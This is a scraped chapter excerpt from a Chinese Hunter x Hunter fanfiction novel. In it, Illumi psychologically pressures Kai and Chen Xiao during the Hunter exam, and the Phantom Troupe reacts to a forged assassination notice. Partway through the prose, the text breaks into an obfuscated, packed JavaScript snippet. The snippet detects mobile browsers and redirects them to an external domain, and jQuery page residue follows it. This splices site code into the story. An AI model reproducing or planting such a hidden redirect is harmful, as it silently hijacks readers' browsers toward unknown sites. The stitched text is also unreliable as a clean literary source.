他的目光意有所指地扫过程笑(凯)的方向。 奇犽:“………………………………………………随你吧。” 他彻底放弃了沟通,只想立刻摆脱眼前的状况。和伊尔迷讲道理,本身就是最没道理的事。 于是,在众人惊讶的目光中,伊尔迷干脆利落地向裁判宣布:“我认输。” 奇犽几乎是立刻挣脱了他的手,头也不回地快步走下台,再次一屁股坐回了程笑旁边的空位上,周身的气压比刚才更低了。 程笑看着这一幕,内心一片冰凉:“……………………………” (完了完了完了!他果然要留下来逮我们了!) 他看着身旁浑身散发着“别惹我”气息的奇犽,忽然生出一种悲壮的感慨,用胳膊肘碰了碰他,语气沉痛: “…兄弟,多看看我这张帅脸吧,以后可能就看不到了。” 奇犽正烦着呢,闻言没好气地转过头,用那双猫眼上下打量了一下程笑,毫不掩饰地露出了嫌弃的表情: “………………” “凯比你好看多了。” “叫他出来。” 他现在一点也不想跟这个看起来就不太聪明的“疯子容器”说话。 程笑一边嘟囔着“你不懂欣赏”、“没眼光”,一边还是非常光棍地将身体控制权交还给了凯。 当那双眼睛再次睁开时,里面的跳脱和浮夸已彻底消失,取而代之的是一种深沉的、带着一丝难以化开的愁绪的平静。那抹深紫色的光泽似乎也因这情绪而显得更加幽暗。 “凯。”奇犽紧盯着这个熟悉又陌生的存在,语气急切而担忧,“大哥他知道你还活着了。”他以为凯还不知道这个惊天噩耗,迫不及待地分享了这个他以为的重磅信息,“你怎么办?我看他那样子,对你势在必得。” 凯:“…………” 他没有立刻回答,只是微微垂下了眼睫,避开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526549|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了奇犽关切的目光。这是他第一次,在面对奇犽时,流露出如此明显的迷茫和无力感。 “…我也不知道。” 他最终低声承认,声音里带着一种前所未有的滞涩。 伊尔迷不是傻子。上一次在森林里的对峙,他用同归于尽般的威胁,虽然暂时阻断了伊尔迷使用武力强攻的途径。 但伊尔迷是谁?他是操控系的念能力大师,玩弄人心、心理操控的手段,凯早已领教过无数次,甚至亲身经历过其可怕之处。 程笑或许可以凭借一时的机警和速度勉强躲闪周旋,但他们耗不过伊尔迷。正面冲突是迟早的事,而下一次,伊尔迷绝不会再给他们用同样方式威胁的机会。他会用更精细、更无法抗拒的方式,一步步收紧套索。 程笑在意识里听到凯的担忧,试图用他惯有的、简单直接的方式解决问题: “…我当是啥大事呢?心理操控啊?那我把耳朵堵上不听他哔哔不行吗?反正众目睽睽之下,他总不能违反考试规则当场打死我吧?” 凯:“…………” (对于这种天真的想法,连解释的力气都没有了。伊尔迷的心理操控如果靠堵耳朵就能解决,那他就不是伊尔迷·揍敌客了。) 奇犽看着眼前沉默的凯,只觉得一股沉重的压力几乎要将他压垮。这和他记忆中的那个人截然不同。 自他有记忆起,凯就作为“大嫂”存在于家族里。他总是温和的、顺从的,优雅地处理着庞大的经济和信息事务,扛着难以想象的压力,却从未显露过疲态。托他的福,那个时候的二哥糜稽似乎也稍微轻松一点,偶尔还能有空和他拌几句嘴,甚至他们几个兄弟(包括亚路嘉)还能短暂地聚在一起,享受片刻虚假的宁静。 是什么时候开始察觉到不对劲的呢? 是那次,他出于好奇——好奇这样一个看起来和大哥截然不同的人,究竟是怎么“拿下”那个恐怖的大哥的——于是缠着凯,想听听他们之间的“爱情故事”。 然后,在一旁安静玩着的亚路嘉,忽然抬起头,用那双纯真无邪的大眼睛看着凯,清晰地说: “那是‘虚构’的。不存在的事情。” 凯当时就愣住了,抱着文件的手微微颤抖。因为那些所谓的“甜蜜过往”、“浪漫邂逅”,全都是伊尔迷一遍又一遍、不厌其烦地灌输给他的“记忆”! 而站在一旁的奇犽,感受到的却是一股比任何恐怖故事都更刺骨的寒意。 凯所知的一切关于“过去”的认知,竟然全是假的! 他就像一只被精心饲养在金丝笼里的鸟,从未怀疑过笼子外的世界是否真实。 他被囚禁了,被“妻子”的身份囚禁了,被伊尔迷的谎言囚禁了,被整个揍敌客家族编织的巨网囚禁了! 于是,在某次半是玩笑、半是游戏的氛围下,奇犽对着凯(也像是在对亚路嘉许愿)说道: “希望你可以获得‘自由’。” 当时的奇犽心想:希望这个被无形之笼困住的人,能够获得解脱。 他从未想过,这个愿望,会以这样一种曲折、惨烈、却又带着一线生机的方式,在今日得以实现。 20. 我的外挂来啦! 当程笑与伊尔迷的轮次终于到来时,整个会场的气氛仿佛都凝滞了。 伊尔迷一步步走上擂台,那双漆黑无光的猫眼自始至终都牢牢锁定着“程笑”。他清晰地分辨出此刻掌控这具身体的意识是谁——那种冰冷的、沉静的、与他记忆中别无二致的气质,是那个疯子宿主绝对模仿不来的。 他的唇角缓缓勾起一个极其细微、却足以令人毛骨悚然的满意笑容。 他对凯“乖乖”出来面对他感到满意。与那个难以预测的疯子纠缠毫无意义,尽快进入正题,完成“回收”,才是最高效的选择。 “我不会动手。”伊尔迷开口,声音平稳无波,却带着一种掌控一切的笃定,“这对你我来说,并无意义。” 他并不需要武力制服。他有更有效、更精准的武器。 然后,他缓缓地、如同抛出致命诱饵般,说出了那句足以在凯的核心掀起滔天巨浪的话: “你之所以‘失忆’,是因为我的念钉,封存了你的记忆。” 他看着“程笑”的身体几不可查地僵硬了一下,仿佛很满意这句话造成的冲击效果,继续用一种近乎“扬眉吐气”的语气说道——就像是一个终于证明了清白的男友: “你想拿回它们,就必须把它(念钉)拔出来。” 他抛出了那个终极的、在他看来无人能拒绝的诱惑: “你的‘尸体’,家族还完好地保存着。” “只要跟我回揍敌客,拔去那枚钉子……”他的声音带着一种蛊惑人心的魔力,“你就可以恢复所有的记忆。你是谁?你的‘家’在哪里?你过去的种种……一切答案,都在揍敌客。” 他最后下了断言,仿佛这已是注定的事实: “你迟早会回来的,不是吗?” 这不是一个问题,而是一个宣判。他笃信,没有任何一个迷失的灵魂,能够抵抗“找回自我”的终极诱惑。 凯操控着身体,试图做出最后的、无力的抵抗: “…可我……不会留下。”——即便回去,也只是为了取回记忆,绝不会再被束缚。 伊尔迷仿佛没有听到后半句的否定,只精准地捕捉并扭曲了前半句的意向,黑眸中闪过一丝“果然如此”的了然: “你的意思是:你会去。” 他自动将“不会留下”翻译为“会短暂前往”,而这对他来说,就是胜利的第一步。 凯感到一阵无力,再次强调: “…我不会再做回所谓的‘妻子’。” 伊尔迷再次无视了核心的拒绝,嘴角的弧度加深,如同抓住了最关键的把柄: “你的前提是:你会去。” 看,你已经在讨论“去之后”的身份问题了,这本身就已经承认了“会去”这个前提。 “我…” 凯还想反驳,却发现自己的逻辑仿佛陷入了一个死循环。 伊尔迷伸出一根苍白的手指,如同下达最终的判决,声音平稳却带着无可辩驳的力量: “你的所有反驳,都基于一个前提——” “你,会去。” 凯:“…………” 他彻底沉默了。所有的言语都变得苍白。因为他内心深处知道,伊尔迷可怕地抓住了真相——他对“过去”、对“自我”的渴望,强烈到足以让他愿意冒險踏入那个龙潭虎穴。任何否认在这一点面前都显得虚伪。 伊尔迷转动着那双漆黑的眼珠,上下打量着彻底无言以对的凯,对他这种“默认”的反应感到十分满意,点了点头。 在他的逻辑里,凯的无法反驳,无疑是在肯定他最精准的判断—— 看,他无法抵抗。他对找回过去的渴望,远胜于他对我的恐惧和对自由的向往。 他,终将回来。 “认输吧。”伊尔迷的声音不高,却像一块冰冷的金属,清晰地穿透空气,砸在凯的耳膜上。他向前迈了一步,明明动作不快,却让两人之间的距离骤然缩短,如同阴影无声地吞噬掉最后一块光斑。 “猎人执照对你来说是毫无用处的东西,”他继续说着,语气平淡得像在陈述一个物理定律, “家族并不需要你拥有它。” 这句话带来的不是愤怒,而是一种更深沉的无力感——仿佛你拼命想抓住的一根稻草,在对方眼里只是碍事的尘埃。 他再次靠近,周遭的空气似乎都因他的存在而变得粘稠、滞重,呼吸都需要耗费更大的力气。 “认输——然后乖乖地跟我回去。” 说着,他像是想起了什么极具说服力的事,那双深不见底的猫眼里甚至掠过一丝堪称“温和”的光,但这光却让凯感到更加寒冷。 “家族一直在期待你的归来,”他的声音放轻了些,却像最细的蛛丝,一层层缠绕上来,“为此,专门将你的身体……妥善地保存至今。” 这看似“体贴”的话语,其潜台词却如同冰冷的潮水,无声地淹没了过来:看呐,我们对你多么“念念不忘”,这里才是你唯一的归宿。 尽管真相可能只是母亲将他视为了一个合适的“换装娃娃”。 伊尔迷·揍敌客理所当然地想着,为家族粉饰太平,或者说,只陈述有利于达成目的的“事实”,一直是他最擅长且不费吹灰之力的手段。他站在那里,本身就像一座无声移动的冰山,庞大、寒冷、无法撼动,带着一种能将人思维都冻结的绝对压迫。 凯:“………我…” 他的意识在巨大的诱惑和更深的恐惧间剧烈挣扎,如同被无形之力禁锢在琥珀中的飞虫,每一次思维的颤动都清晰可见,却无法挣脱。 伊尔迷凝视着凯脸上那罕见的、淋漓尽致的挣扎,一种近乎愉悦的满足感在他心底蔓延。他甚至下意识地上前一步,想要重现那段作为“妻子”的时光里,他最喜欢、最习惯的姿势——让凯站在他前方半步,然后他自身后用双手轻轻扶(掌控)住对方的下颚。那是一个充满了绝对占有和掌控意味的姿态。 然而,就在那冰冷的指尖即将触碰到皮肤的前一瞬—— “我不愿意。” 一个截然不同的、带着明显抗拒和跳脱气息的声音,猛地从同一副喉咙里迸发出来! 程笑强行夺回了身体的控制权,如同一个再也看不下去憋屈剧情、直接冲上舞台大喊“退钱!”的观众,硬生生打断了这令人窒息的对峙。 他昂着头(尽管这个动作让被伊尔迷气息锁定的身体有些僵硬),对着伊尔迷,语气带着一种近乎鲁莽的、不知从何而来的底气: “我会带他想起一切!但不是跟你回去!” 他像是在宣布一个既定事实,声音斩钉截铁: “凯,会跟我回去(揍敌客)!” 他指的“回去”,是作为“程笑和凯”这个组合,以他们的方式去揍敌客拿回东西,而不是作为“伊尔迷的所有物”被带回去。 这突如其来的搅局,让伊尔迷的动作顿住了。他那双漆黑的猫眼微微眯起,里面第一次清晰地闪过一丝被打扰的不悦和极其罕见的错愕。 仿佛一件精密仪器正在完美运转时,突然被一只聒噪的麻雀撞了一下。 “?” 伊尔迷极其轻微地歪了歪头,几缕黑色的发丝随之滑过额角,那双深不见底的猫眼里第一次清晰地浮现出纯粹的、毫不掩饰的疑惑。 “你出来……是特意来送死的吗?” 既然不是凯,那便连最后一丝伪装的客气都没有必要维持了。 几乎在话音落下的瞬间,一股庞大、粘稠、冰冷到极致的念压如同实质的海啸般,以伊尔迷为中心轰然爆发! “呃啊——!” 因为两人距离实在太近,程笑甚至连反应的时间都没有,双膝一软,直接被这股可怕的力量狠狠压得跪倒在地! 膝盖骨撞击地面的声音清晰可闻。 冷汗如同开了闸的洪水瞬间浸透了他的后背,额前的头发也迅速被冷汗打湿。他感觉自己仿佛被一瞬间扔进了北极的冰窟深处,冰冷刺骨的海水带着巨大的压力从四面八方涌来,疯狂地挤压着他的胸腔,堵塞他的口鼻,剥夺他呼吸的权利! 他张着嘴,却吸不进一丝空气,肺部和喉咙火辣辣地疼,眼前开始发黑,耳边嗡嗡作响。 “我不会让你死亡。” 伊尔迷居高临下地俯视着在他念压下痛苦挣扎、跪伏于地的程笑,好心地补充了一句,“毕竟……凯说的没错。一个看得见的‘实体’,总比一个抓不到的‘幽灵’,要好处理得多。” 他的声音明明近在咫尺,听在程笑耳里却像是隔了一层厚重、扭曲的水膜,从极其遥远的地方传来,模糊而不真切。 程笑在这一刻,不合时宜地想起了一种残酷的刑罚——水刑。那种濒临窒息、绝望挣扎的感觉,与此刻何其相似! 伊尔迷缓缓蹲下身,平视着双眼已经因缺氧和恐惧而开始失焦的程笑,伸出手,一把揪住他汗湿的短发,强迫他抬起脸。 “不过……” 伊尔迷的声音如同毒蛇吐信,“我有的是成百上千种方法,让你体会……什么是‘活罪’。” 程笑的意识已经在窒息的边缘徘徊,伊尔迷后面的话,他一个字也听不清了。他的世界只剩下无尽的、冰冷的、令人绝望的压力和黑暗。 观众席上,并非所有人都能清晰地感知到那无形却致命的念压,但伊尔迷瞬间爆发出的、那种纯粹的、冰冷的恶意,却如同实质的寒流般席卷了整个会场。 距离最近的奇犽猛地从座位上站了起来,瞳孔急剧收缩。他虽然还不明白“念”为何物,无法“看”到那庞大的能量,但他野兽般的直觉和对大哥本能的恐惧,让他瞬间感受到了那股足以令人心脏停跳的恐怖气息! 他看到程笑毫无征兆地猛地跪倒在地,脸色在刹那间变得惨白如纸,冷汗如雨般涌出,张大嘴巴却发不出任何声音,仿佛正被一个无形的魔鬼扼住咽喉,痛苦地挣扎。 一种冰冷的、窒息的恐惧感也同时攫住了奇犽。他不明白发生了什么,但那种绝对的力量差和大哥身上散发出的、毫不掩饰的残忍,让他浑身血液都几乎要冻结。他双手不自觉地紧紧握成了拳,指甲深深掐进掌心。 而在另一边,西索不知何时已经坐直了身体,那双金色的瞳孔微微收缩,里面闪烁着极度兴奋和探究的光芒。他纤细的手指间,一张扑克牌正以一种异常灵巧而快速的方式翻转、扭动,仿佛是他内心亢奋情绪的外在体现。 “嗯哼~” 他发出一声极其愉悦的、压抑着的低吟,舌尖轻轻舔过嘴角。 ……真是惊人的“恶 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他停下脚步,如同毒蛇发现了猎物的致命弱点,开始耐心地缠绕、收紧: “自从上次凯不惜威胁家族也要力保你之后,我也稍微调查了一下……你参加这场比赛,根本不是为了什么猎人执照,也不是想成为猎人……你只是单纯地……想躲开‘蜘蛛’的追击和围剿,对吧?” 他的声音里带上了一种猫捉老鼠般的愉悦,享受着将对方最深的恐惧和底牌一一掀开的过程: “那你岂不是更应该……好好劝说‘凯’跟我回揍敌客了?连带着你——虽然我不是很愿意——也能得到揍敌客的庇护,不是吗?你应该很清楚,一张猎人执照,根本改变不了你被幻影旅团追杀的命运。” 他像是突然想起了什么极其有趣的事情,缓缓直起身,语气里甚至带上了一丝诡异的“感激”: “不过,有的时候还真是要‘感谢’你呢~” “惹上了‘蜘蛛’这么大一个麻烦,又如此‘高调’地活动,才让我能这么快就发现‘凯’的存在……” 他再次俯下身,缓缓靠近程笑因窒息和恐惧而剧烈颤抖的耳边,用那如同毒蛇吐信般冰冷粘腻的声音,送出了最终的一击: “这一切的一切……眼下这所有的局面……” “可都是因为你啊。” 这句话像一把淬毒的冰锥,精准地刺进程笑几乎崩溃的意识深处。 都是我的错…… 是我惹来了蜘蛛…… 是我暴露了凯…… 是我没用……只会拖累别人…… 我活着到底还有什么意义…… 无尽的自我否定如同沼泽,要将他彻底吞噬。但就在这彻底的虚无中,一个极其微弱、却截然不同的念头,像破开淤泥的尖刺般冒了出来——“如果……这个‘我’的存在本身就是错误……那为什么不能……换一个‘我’呢?” 伊尔迷满意地感受着脚下猎物精神世界的彻底崩塌。这场考试,他成功地将场上两个人的内心,都搅得天翻地覆,乱七八糟。 场外的西索歪着头,看着擂台上在伊尔迷念压和诛心之语双重打击下、意识几乎彻底涣散的程笑,原本极度兴奋期待的表情如同退潮般迅速消失,取而代之的是一种极其明显的、毫不掩饰的失望。 “啊咧啊咧~??” 他拖长了调子,声音里充满了索然无味的嫌弃,“这么快……就要从内部开始烂掉了吗?” 他像是期待了很久终于拿到手的华丽礼盒,迫不及待地拆开,却发现里面塞满了毫无用处的缓冲拉菲草,而真正的“礼物”却渺无踪迹。 “无聊~” 西索失望地叹了口气,整个人没什么骨头似的靠在了身后的墙壁上,百无聊赖地摆弄着指尖的扑克牌,“搞什么嘛~……本来还以为淘到了一只格外香甜可口的小苹果……” 他的目光扫过程笑,最后两个字咬得极重,声调危险地上扬,带着一种被欺骗的恼怒和审视: “结果……是只烂·核·的吗?” 然而,就在他几乎要给程笑判下“无趣”的死刑,准备移开目光时—— 局势发生了微妙的变化。 西索那双半眯着的、慵懒的金色瞳孔骤然聚焦! 他清晰地看到,在程笑的身体周围,一种极其微弱、却异常纯粹的念力开始如同薄雾般缓缓浮现、缠绕!那念力并不强大,却带着一种……截然不同的质感! “哦呀~?” 西索瞬间站直了身体,所有的无聊和失望一扫而空,取而代之的是一种发现新大陆般的、极度贪婪的狂喜! “……不是凯~。”他瞬间就做出了判断。凯的念,应该更冷,更沉,更像精密计算的机器。而眼前这股念,虽然弱小,却带着一种……更加原始、更加混乱、也更加有趣的底色! 他眯起眼睛,像是发现了绝世珍宝的哥伦布,嘴角咧开一个巨大而扭曲的笑容,每一个音节都充满了发现般的愉悦: “是~~~程·笑·呢~~~” 那颗他以为已经烂掉的苹果内部,似乎正在孕育着某种完全出乎他意料的、更加美味的东西! 21. 我们可是战友啊! 伊尔迷看着脚下那本该彻底崩溃的猎物身上,竟然又缓缓升腾起一股微弱却顽强的念力,不由得微微皱起了眉头。 真……缠人啊…… 他心中掠过一丝不耐,乖乖烂掉、放弃抵抗,不好吗?为什么总要进行这种毫无意义的挣扎呢? 一种清晰的、陌生的情绪——烦——第一次如此明确地出现在伊尔迷的感知里。这不同于面对西索时的“麻烦”或“碍事”,而是对于“不按预期发展、无法彻底掌控”的事物产生的、纯粹的厌烦。 “我……不认输。” 程笑的声音嘶哑地响起,带着剧烈的喘息。他感觉到身上的压力似乎轻了一些(实则是他自身涌出的念力在本能地对抗外部压迫),虽然他完全不明白为什么——他绝不会认为这是伊尔迷的手下留情——但他立刻把这个疑问抛诸脑后。现在,有更重要的事。 “虽然……我家那边常说,人活一口气……”他一边艰难地调整着呼吸,一边试图将那股微弱的力量灌注到四肢百骸,“但其实……我更乐意说:人这一生……总得为一件东西……拼尽全力一次……” 他的动作极其缓慢、僵硬,每一个关节都在发出抗议的悲鸣,但他却以一种惊人的意志力,慢慢地、一寸寸地,从跪伏的姿态,重新站了起来! “……即使,那是赎罪。” 伊尔迷冷眼看着这只蝼蚁拼尽一切,最终做到的也仅仅是在自己面前站立,感到一种荒谬的可笑: “值得吗?”他发问,语气里是纯粹的不解,“你现在做的——当然,你也只能做到这种地步——就只是在我面前站立。” 他顿了顿,像是实在无法理解这种生物的思维回路: “然后呢?出拳?你够得着我吗?” 他甚至连脚步都没移动,只是微微偏头,就轻而易举地避开了程笑那颤抖着、缓慢挥出的拳头。那动作在他眼中,慢得如同静止。 “你根本打不到我。即使打到了……”他的声音带上一丝冰冷的嘲弄,“那也只是我默许的‘接触’。” “而且——”他像是想起了什么极其好笑的事情,补充了最终一击: “你的力气,在我看来,比挠痒痒还要轻。” “…我明白,要你认输是不可能的。”汗水滑进程笑眼中,带来一阵酸涩的刺痛,他却咧开嘴笑了,“但我……也不能就这么认输。”他喘息着,仿佛刚才那一击已耗尽全部力气,“至少……不能让你赢得太轻松。” 他调动全身力量,以身体最坚硬的肘骨为武器,发出了自己所能做到的、最极限的一击。 伊尔迷轻松侧身闪避,却仍感到脸颊上一阵刺痛。他抬手触碰,指尖沾上了鲜红的血迹——他居然被打出了鼻血。 程笑喘着气,望向这个一直将自己压制得毫无还手之力的男人,脸上终于露出一丝快意的笑容:“……我认输。” ……… 程笑踉跄着走下台,重重坐回原来的位置。 他浑身脱力,仿佛四肢都绑着千斤沙袋打完了这一场,汗水浸透全身,像是刚从水里被打捞出来。 邻座的奇犽小猫似的瞥了他一眼,似乎对他稍有改观,尽管语气依旧带着几分嫌弃:“……你把自己搞成这样,下一场怎么办?” “……再说吧,”程笑喘着气,却勾起嘴角,“至少没让你大哥赢得太舒服~” 奇犽沉默了一瞬,最后只丢下一句:“……行吧,你先回去休息,我找凯说话。” 程笑连回话的力气都没了,颤巍巍地比了个“OK”的手势,随后便将身体的控制权彻底交给了意识之中的凯。 再度睁眼时,眼前人的气质已归于一片沉稳与冷澈。 “凯。”奇犽注视着他,神情复杂,“……你其实在这种状态下,并没有多少自主权,对吧?” 事实已经再明显不过。作为“寄生”的一方,如果凯对身体的操控真有丝毫自主权,他刚才绝不会任由程笑独自面对伊尔迷。 但奇犽显然想得更远:“……那你……有选择宿主的自由吗?” 他声音低了下来,几乎像在自言自语:“这样的你……真的算自由了吗?” 凯沉默了。他并不愿提起自己长久被困、辗转于低等生物之间的过去。奇犽最初许下的,是希望他自由的愿望——那份心意纯粹明亮,只是他们都未曾料到,竟会以这种死后寄生的方式实现。 “……不重要了。”凯终于开口,声音平静却清晰。 当程笑颤巍巍地举起手、打出那一拳,当伊尔迷脸上第一次出现错愕的痕迹——某种缠绕凯已久的阴冷枷锁,仿佛终于碎裂。 “现在的我,已经真正地……得到了‘自由’。” 他感受到的不仅是解脱,更是一种前所未有的联结。他和程笑不再只是宿主与寄生者,而是在阴影中并肩的两个人。程笑挥出的那一拳,也仿佛击碎了他心中最后的牢笼。 他望向奇犽,眼中没有一丝阴霾,如破云而出的光。那是被理解、被守护之后真正的释然——是两个灵魂并肩作战后,照亮彼此的自由。 而另一边,回廊深处。 伊尔迷·揍敌客静立于阴影之中,身形笔挺,黑曜石般的猫眼一眨不眨,空洞得令人心悸。他面无表情地用纸巾按住鼻子,指缝间依稀渗出一缕血迹。 “嗯哼~?” 一声慵懒而带着奇异颤音的轻笑打破了寂静。西索从廊柱的阴影里缓步走出,他猩红的舌尖暧昧地舔过唇角,金色狭长的眼眸中翻涌着毫不掩饰的兴味与探究,像在欣赏一件突然变得极其有趣的玩具。他上下打量着伊尔迷罕见的、堪称“狼狈”的模样,声线里充满了愉悦的波浪号: “这可真是……令人惊喜的 developments ?~我们的小伊,居然被一颗还没熟透的青涩小苹果,留下了这样可爱的‘纪念品’呢~?” 伊尔迷缓缓放下手帕,无视了那点鼻血,面无表情地看向西索,语调平直无波,甚至带着一丝纯粹的逻辑困惑:“我计算并避开了他所有的攻击轨迹。以他的身高、臂长以及当时发力角度建立的模型来看,他的拳头或踢击的最终落点,理论上绝对不可能接触到我的鼻梁。” 这并非辩解,而是杀手对自身判断绝对自信下的、一次基于数据的客观复盘。正是这种“不可能”发生了,才让他那缺乏常人情緖的大脑,产生了一丝罕见的、名为“不解”的波动。 “呵呵呵……?” 西索的低笑声在空旷的回廊中回荡,带着一种洞悉秘密的得意和因期待而颤栗的兴奋,“是‘念’哦~? 亲爱的伊尔迷~” 伊尔迷的头微微偏过一个极小的角度 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而伊尔迷,只是沉默地听着,那双深不见底的黑眸中,最初的不解渐渐沉淀,转而开始重新评估那个名为“程笑”的少年的威胁等级与……潜在价值。 …………… 之后的最终试验,以一种谁也没料到的方式落下了帷幕。程笑利用自己灵活的身法,在方寸间的擂台上腾挪闪转,最终成功引诱一位心浮气躁的对手自己冲出了界线。当裁判宣布他获胜的那一刻,他甚至感到有些恍惚。 他站在高高的会场出口,看着奇犽和小杰勾肩搭背、兴高采烈地朝着远方走去。阳光洒在两个少年身上,将他们的背影拉得很长,欢声笑语乘着风隐约传来。那一刻,程笑的心中被一种温暖而平静的情绪填满。能亲眼见证这样的结局,能安然无恙地走到这里,似乎…也挺不错的。 “暂时的安宁而已,别松懈过头了。” 意识深处,凯的声音响起,比平时更加冰冷紧绷,却不再是独自承受的重压,而是对战友的提醒: “猎人执照不是护身符。我们该动身了,寻找下一个安全屋——当然,以你如今初步掌控‘念’的水平,这任务的难度应该降低了不少。” 自程笑在那场意外冲突中潜能爆发、觉醒了“念”以来,与他共生一具身体的凯几乎是同步知晓了一切。 凯的提醒像一根细针,轻轻戳破了程笑心中刚刚鼓起的、名为“安逸”的气球。他瞬间清醒过来:庆典结束了,笼罩在头顶的危机从未散去。幻影旅团(蜘蛛)那无所不在的追缉网,恐怕正在世界的某个角落悄然收紧。 “而且,别忘了,” 凯的语气平淡无波,却精准地投下了第二颗炸弹,“还有伊尔迷·揍敌客。你刚才可是结结实实,给了那位杀手一个‘惊喜’。” 程笑内心瞬间上演了一场天崩地裂海啸山鸣的无声悲剧,表面却只能维持着风平浪静的呆滞:……知道了知道了。 他开始疯狂脑内刷屏:我现在能穿越回去扇死当初招惹库洛洛的自己吗?我现在能加入尼特罗会长门下闭关修行吗?我现在立刻逃离这个星球的成功率有多高?! 意识深处,凯没有再说话。他只是沉默着,那份曾经无休止的、属于一个人的孤独挣扎,此刻终于有了一个可以共同分担的回响。 22. 这才是爽文! 友客鑫市,某处廉价小旅馆。 空气里弥漫着淡淡霉味和消毒水混合的气息。程笑呈“大”字形瘫在吱呀作响的床上,连日的逃亡与生死搏杀带来的并非只有疲惫,更是一种被逼迫到极致后、对“念”的掌控力飞速成长的奇异状态。 他对自己那诡异能力的理解愈发深刻,并固执地给它起了个名字——「赊账」。 尽管意识里的凯基于其“等价交换”的核心规则,更倾向于称之为 「抵押」 ,但程笑觉得“赊账”更顺口,也更有点“迟早要还,但先爽了再说”的乐子人精髓,便就这么定下了。 “我就说嘛~”程笑一个懒鱼打挺翻过身,抓起旁边皱巴巴的报纸。他的目光扫过那些被媒体渲染的“大事件”,嘴角勾起一丝一切尽在掌握的弧度。 “剧情进行到这,蜘蛛们的注意力马上就要被友客鑫这场盛宴彻底吸走了。再加上酷拉皮卡那个复仇女神……够他们喝一壶的。”他像是在对空气说话,又像是在自言自语,“咱们总算能喘口气了,老伙计。” 然而,他的视线却牢牢黏在了报纸的某一版上——那是拍卖会的精品预告。他的指尖点在一个被红笔反复圈出的拍品介绍上: 稀世古物———意识之偶传说中被痴情恶灵附身、最终被除念师净化的人偶,自此陷入永恒的“无主”沉寂… 这玩意儿出现的时机太巧了,巧到令人脊背发凉。程笑和凯的警惕心在第一时间拉到了顶点。但经过凯动用他那近乎本能的情报分析能力,多方查证后,结果却出乎意料——这件拍品的来历干净得近乎乏味:一次近期常规考古的出土物,持有者是一个与揍敌客、流星街八竿子打不着的普通收藏家,履历清白,毫无破绽。 “好嘛。”程笑又翻了个身,指尖有一下没一下地敲击着报纸上人偶的图片,那红圈像是一个靶心。“传说里说,古代的国王被人偶化作的美人迷得神魂颠倒,王国都快败没了。最后请来除念师,美人消散,就剩下这么个空壳。” 他抬起头,目光没有焦点,仿佛在穿透虚空与体内的另一个灵魂对话:“嘿,你说……你要是‘寄生’到这玩意儿身上,会不会也变回你原来那副……嗯,‘祸国殃民’的模样?” 凯的声音沉默了片刻,才冷冷响起,带着一贯的理性与审慎:「不知道。传说往往经过粉饰,真相更可能只是某个统治者玩物丧志的平庸故事。」 程笑手指一弹,将那支红笔转得飞快,如同一朵危险的血色花。 “试试嘛~”他拖长了语调,那双总是带着点玩世不恭的眼睛里,此刻却闪烁着一种极富侵略性的、跃跃欲试的光芒。“我可是手握剧本的男人。而且……” 他摸了摸下巴,嘴角咧开一个近乎狰狞的、充满报复快意的笑容。 “蜘蛛们追得我们这么狼狈,差点把小命都交代了……于情于理,我都该好好‘谢谢’他们,给他们这出盛大拍卖会,添点意想不到的乐子,不是吗??” 他的笑容里,已经没有了最初的纯粹疯癫,而是混合了报复、算计、以及为了达成“解散”目标而必须利用一切机会的冷静疯狂。 蜘蛛临时据点,友客鑫市某废弃厂房内。 空气中弥漫着尘埃和一种无形的、躁动的念。侠客盘腿坐在一堆电子设备前,金色的头发在屏幕冷光下显得有些晃眼。他好看的眉毛微微蹙起,指尖在键盘上停顿了一下,才抬起头,语气带着一丝罕见的迟疑。 “团长,”他叫住了正翻阅着书籍的库洛洛·鲁西鲁,“截获到一条……嗯,奇奇怪怪的加密通讯。” 库洛洛合上书,漆黑无光的眼眸平静地转向他。 屏幕上只有一行简洁到令人窒息的字:刺杀库洛洛·鲁西鲁,委托已成立。——J 一瞬间,厂房内原本分散各处的蜘蛛们,念压如同被惊扰的蜂群,骤然变得尖锐而危险。 “揍敌客的消息,会这么轻易被我‘无意’截获吗?”侠客推了推眼镜,镜片反射着冷光,“但这格式和暗码,又确实是真的。” “呲——”飞坦发出一声尖锐的冷笑,金色的瞳孔在阴影中收缩如针尖,“有人活腻了,在给我们演滑稽戏吗?” 玛奇的念线无声地缠绕在指尖,她面无表情地开口,声音冰冷:“是警告。也是挑衅。”她的直觉通常很准。 “砰!”信长猛地一拍桌子,桌上的杂物震得一跳,“管他是真是假!先把发信的杂碎找出来剁了!” 富兰克林低沉的声音响起,带着理性的分析:“如果十老头真的雇了揍敌客,那我们的计划就已经暴露了。这是个麻烦。”他巨大的身躯靠在墙边,显得极具压迫感。 派克诺妲的手指轻轻拂过腰间的枪套,目光锐利如鹰:“真假暂且不论。我更感兴趣的是……是谁,出于什么目的,要让我们‘知道’这件事。” 库洛洛坐在阴影处的箱子上,手肘撑着膝盖,指尖轻轻抵着下唇。他那双深不见底的黑眸中没有任何波澜,仿佛一台精密仪器正在高速处理信息。 可能性一:情报为真。十老头雇佣揍敌客是合理之举。但伊尔迷·揍敌客绝非蠢货,绝不会让这种核心情报以如此拙劣的方式泄露。除非……这是揍敌客内部并非铁板一块的信号?或是有人想借旅团之手,对付揍敌客? 可能性二:情报为假。这是一个精心设计的陷阱。目的可能是: 挑拨离间:让旅团陷入内耗,互相猜疑。最拙劣,但也最有效。 打草惊蛇:迫使旅团改变原定计划,从而落入对方预设的另一个陷阱。 转移视线:用“揍敌客”这个重磅烟雾弹,掩盖其真正的目的。 可能性三:……“示好”?是否存在一种极端可能:某个知晓内情的人(甚至可能就是揍敌客的敌人),用这种曲折的方式向旅团示警,以期换取某种合作或善意? 库洛洛缓缓抬起头,嘴角甚至勾起一丝极淡的、令人不寒而栗的兴味。他合上一直放在膝头的《盗贼的极意》,书消失的瞬间,整个仓库的空气仿佛都凝滞了。 “有趣。”他平静的声音响起,带着一种掌控一切的冷静,“无论发信的是谁,他成功地将‘揍敌客’这颗棋子,摆上了我们的棋盘。” 